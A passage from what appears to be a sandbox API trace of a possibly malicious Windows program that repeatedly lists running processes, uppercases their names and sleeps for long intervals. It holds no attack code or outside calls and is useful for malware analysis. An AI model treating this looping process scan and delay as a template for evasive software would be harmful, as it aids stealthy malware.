lpString1="audiodg.exe") returned="audiodg.exe" [0151.076] lstrlenW (lpString="audiodg.exe") returned 11 [0151.076] CharUpperBuffW (in: lpsz="audiodg.exe", cchLength=0xb | out: lpsz="AUDIODG.EXE") returned 0xb [0151.076] PathFindFileNameW (pszPath="AUDIODG.EXE") returned="AUDIODG.EXE" [0151.076] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUDIODG.EXE" | out: lpString1="AUDIODG.EXE") returned="AUDIODG.EXE" [0151.076] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SCN0tification.exe")) returned 1 [0151.076] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SCN0tification.exe" | out: lpString1="SCN0tification.exe") returned="SCN0tification.exe" [0151.076] lstrlenW (lpString="SCN0tification.exe") returned 18 [0151.076] CharUpperBuffW (in: lpsz="SCN0tification.exe", cchLength=0x12 | out: lpsz="SCN0TIFICATION.EXE") returned 0x12 [0151.076] PathFindFileNameW (pszPath="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0151.076] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SCN0TIFICATION.EXE" | out: lpString1="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0151.076] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.077] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0151.077] lstrlenW (lpString="svchost.exe") returned 11 [0151.077] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0151.077] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0151.077] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0151.077] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0151.078] CloseHandle (hObject=0x670) returned 1 [0151.078] Sleep (dwMilliseconds=0x1b7740) [0161.094] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x384 [0161.097] Process32FirstW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0161.097] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0161.098] lstrlenW (lpString="[System Process]") returned 16 [0161.098] CharUpperBuffW (in: lpsz="[System Process]", cchLength=0x10 | out: lpsz="[SYSTEM PROCESS]") returned 0x10 [0161.098] PathFindFileNameW (pszPath="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0161.098] lstrcpyW (in: lpString1=0x2b4f928, lpString2="[SYSTEM PROCESS]" | out: lpString1="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0161.098] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x61, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0161.098] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="System" | out: lpString1="System") returned="System" [0161.098] lstrlenW (lpString="System") returned 6 [0161.098] CharUpperBuffW (in: lpsz="System", cchLength=0x6 | out: lpsz="SYSTEM") returned 0x6 [0161.098] PathFindFileNameW (pszPath="SYSTEM") returned="SYSTEM" [0161.098] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SYSTEM" | out: lpString1="SYSTEM") returned="SYSTEM" [0161.098] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0161.099] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0161.099] lstrlenW (lpString="smss.exe") returned 8 [0161.099] CharUpperBuffW (in: lpsz="smss.exe", cchLength=0x8 | out: lpsz="SMSS.EXE") returned 0x8 [0161.099] PathFindFileNameW (pszPath="SMSS.EXE") returned="SMSS.EXE" [0161.099] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SMSS.EXE" | out: lpString1="SMSS.EXE") returned="SMSS.EXE" [0161.099] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0161.100] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0161.100] lstrlenW (lpString="csrss.exe") returned 9 [0161.100] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0161.100] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0161.100] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0161.100] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0161.100] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0161.100] lstrlenW (lpString="wininit.exe") returned 11 [0161.101] CharUpperBuffW (in: lpsz="wininit.exe", cchLength=0xb | out: lpsz="WININIT.EXE") returned 0xb [0161.101] PathFindFileNameW (pszPath="WININIT.EXE") returned="WININIT.EXE" [0161.101] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WININIT.EXE" | out: lpString1="WININIT.EXE") returned="WININIT.EXE" [0161.101] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0161.101] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0161.101] lstrlenW (lpString="csrss.exe") returned 9 [0161.101] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0161.101] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0161.101] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0161.101] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0161.102] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0161.102] lstrlenW (lpString="winlogon.exe") returned 12 [0161.102] CharUpperBuffW (in: lpsz="winlogon.exe", cchLength=0xc | out: lpsz="WINLOGON.EXE") returned 0xc [0161.102] PathFindFileNameW (pszPath="WINLOGON.EXE") returned="WINLOGON.EXE" [0161.102] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WINLOGON.EXE" | out: lpString1="WINLOGON.EXE") returned="WINLOGON.EXE" [0161.102] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0161.103] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0161.103] lstrlenW (lpString="services.exe") returned 12 [0161.103] CharUpperBuffW (in: lpsz="services.exe", cchLength=0xc | out: lpsz="SERVICES.EXE") returned 0xc [0161.103] PathFindFileNameW (pszPath="SERVICES.EXE") returned="SERVICES.EXE" [0161.103] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SERVICES.EXE" | out: lpString1="SERVICES.EXE") returned="SERVICES.EXE" [0161.103] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0161.103] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0161.103] lstrlenW (lpString="lsass.exe") returned 9 [0161.103] CharUpperBuffW (in: lpsz="lsass.exe", cchLength=0x9 | out: lpsz="LSASS.EXE") returned 0x9 [0161.103] PathFindFileNameW (pszPath="LSASS.EXE") returned="LSASS.EXE" [0161.103] lstrcpyW (in: lpString1=0x2b4f928, lpString2="LSASS.EXE" | out: lpString1="LSASS.EXE") returned="LSASS.EXE" [0161.103] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.104] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0161.104] lstrlenW (lpString="svchost.exe") returned 11 [0161.104] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0161.104] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0161.104] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0161.104] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.105] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0161.105] lstrlenW (lpString="svchost.exe") returned 11 [0161.105] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0161.105] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0161.105] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0161.105] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0161.106] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0161.106] lstrlenW (lpString="dwm.exe") returned 7 [0161.106] CharUpperBuffW (in: lpsz="dwm.exe", cchLength=0x7 | out: lpsz="DWM.EXE") returned 0x7 [0161.106] PathFindFileNameW (pszPath="DWM.EXE") returned="DWM.EXE" [0161.106] lstrcpyW (in: lpString1=0x2b4f928, lpString2="DWM.EXE" | out: lpString1="DWM.EXE") returned="DWM.EXE" [0161.106] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.106] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0161.106] lstrlenW (lpString="svchost.exe") returned 11 [0161.106] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0161.106] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0161.106] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0161.106] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.107] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0161.107] lstrlenW (lpString="svchost.exe") returned 11 [0161.107] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0161.107] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0161.107] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0161.107] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.108] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0161.108] lstrlenW (lpString="svchost.exe") returned 11 [0161.108] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0161.108] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0161.108] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0161.108] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.108] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0161.108] lstrlenW (lpString="svchost.exe") returned 11 [0161.108] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0161.108] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0161.108] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0161.109] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.109] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0161.109] lstrlenW (lpString="svchost.exe") returned 11 [0161.109] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0161.109] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0161.109] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0161.109] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.110] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0161.110] lstrlenW (lpString="svchost.exe") returned 11 [0161.110] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0161.110] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0161.110] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0161.110] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0161.111] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0161.111] lstrlenW (lpString="spoolsv.exe") returned 11 [0161.111] CharUpperBuffW (in: lpsz="spoolsv.exe", cchLength=0xb | out: lpsz="SPOOLSV.EXE") returned 0xb [0161.111] PathFindFileNameW (pszPath="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0161.111] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SPOOLSV.EXE" | out: lpString1="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0161.111] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.111] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0161.111] lstrlenW (lpString="svchost.exe") returned 11 [0161.111] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0161.112] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0161.112] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0161.112] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0161.112] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0161.112] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0161.112] CharUpperBuffW (in: lpsz="OfficeClickToRun.exe", cchLength=0x14 | out: lpsz="OFFICECLICKTORUN.EXE") returned 0x14 [0161.112] PathFindFileNameW (pszPath="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0161.112] lstrcpyW (in: lpString1=0x2b4f928, lpString2="OFFICECLICKTORUN.EXE" | out: lpString1="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0161.112] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.113] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0161.113] lstrlenW (lpString="svchost.exe") returned 11 [0161.113] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0161.113] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0161.113] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0161.113] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0161.114] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="sihost.exe" | out: lpString1="sihost.exe") returned="sihost.exe" [0161.114] lstrlenW (lpString="sihost.exe") returned 10 [0161.114] CharUpperBuffW (in: lpsz="sihost.exe", cchLength=0xa | out: lpsz="SIHOST.EXE") returned 0xa [0161.114] PathFindFileNameW (pszPath="SIHOST.EXE") returned="SIHOST.EXE" [0161.114] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SIHOST.EXE" | out: lpString1="SIHOST.EXE") returned="SIHOST.EXE" [0161.114] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0161.114] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="taskhostw.exe" | out: lpString1="taskhostw.exe") returned="taskhostw.exe" [0161.114] lstrlenW (lpString="taskhostw.exe") returned 13 [0161.114] CharUpperBuffW (in: lpsz="taskhostw.exe", cchLength=0xd | out: lpsz="TASKHOSTW.EXE") returned 0xd [0161.114] PathFindFileNameW (pszPath="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0161.114] lstrcpyW (in: lpString1=0x2b4f928, lpString2="TASKHOSTW.EXE" | out: lpString1="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0161.114] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0161.115] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0161.115] lstrlenW (lpString="explorer.exe") returned 12 [0161.115] CharUpperBuffW (in: lpsz="explorer.exe", cchLength=0xc | out: lpsz="EXPLORER.EXE") returned 0xc [0161.115] PathFindFileNameW (pszPath="EXPLORER.EXE") returned="EXPLORER.EXE" [0161.115] lstrcpyW (in: lpString1=0x2b4f928, lpString2="EXPLORER.EXE" | out: lpString1="EXPLORER.EXE") returned="EXPLORER.EXE" [0161.115] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0161.116] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="RuntimeBroker.exe" | out: lpString1="RuntimeBroker.exe") returned="RuntimeBroker.exe" [0161.116] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0161.116] CharUpperBuffW (in: lpsz="RuntimeBroker.exe", cchLength=0x11 | out: lpsz="RUNTIMEBROKER.EXE") returned 0x11 [0161.116] PathFindFileNameW (pszPath="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0161.116] lstrcpyW (in: lpString1=0x2b4f928, lpString2="RUNTIMEBROKER.EXE" | out: lpString1="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0161.116] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0161.116] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="ShellExperienceHost.exe" | out: lpString1="ShellExperienceHost.exe") returned="ShellExperienceHost.exe" [0161.116] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0161.116] CharUpperBuffW (in: lpsz="ShellExperienceHost.exe", cchLength=0x17 | out: lpsz="SHELLEXPERIENCEHOST.EXE") returned 0x17 [0161.116] PathFindFileNameW (pszPath="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0161.116] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHELLEXPERIENCEHOST.EXE" | out: lpString1="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0161.116] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0161.117] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SearchUI.exe" | out: lpString1="SearchUI.exe") returned="SearchUI.exe" [0161.117] lstrlenW (lpString="SearchUI.exe") returned 12 [0161.117] CharUpperBuffW (in: lpsz="SearchUI.exe", cchLength=0xc | out: lpsz="SEARCHUI.EXE") returned 0xc [0161.117] PathFindFileNameW (pszPath="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0161.117] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SEARCHUI.EXE" | out: lpString1="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0161.117] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commandsxeroxrelationship.exe")) returned 1 [0161.118] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="commandsxeroxrelationship.exe" | out: lpString1="commandsxeroxrelationship.exe") returned="commandsxeroxrelationship.exe" [0161.118] lstrlenW (lpString="commandsxeroxrelationship.exe") returned 29 [0161.118] CharUpperBuffW (in: 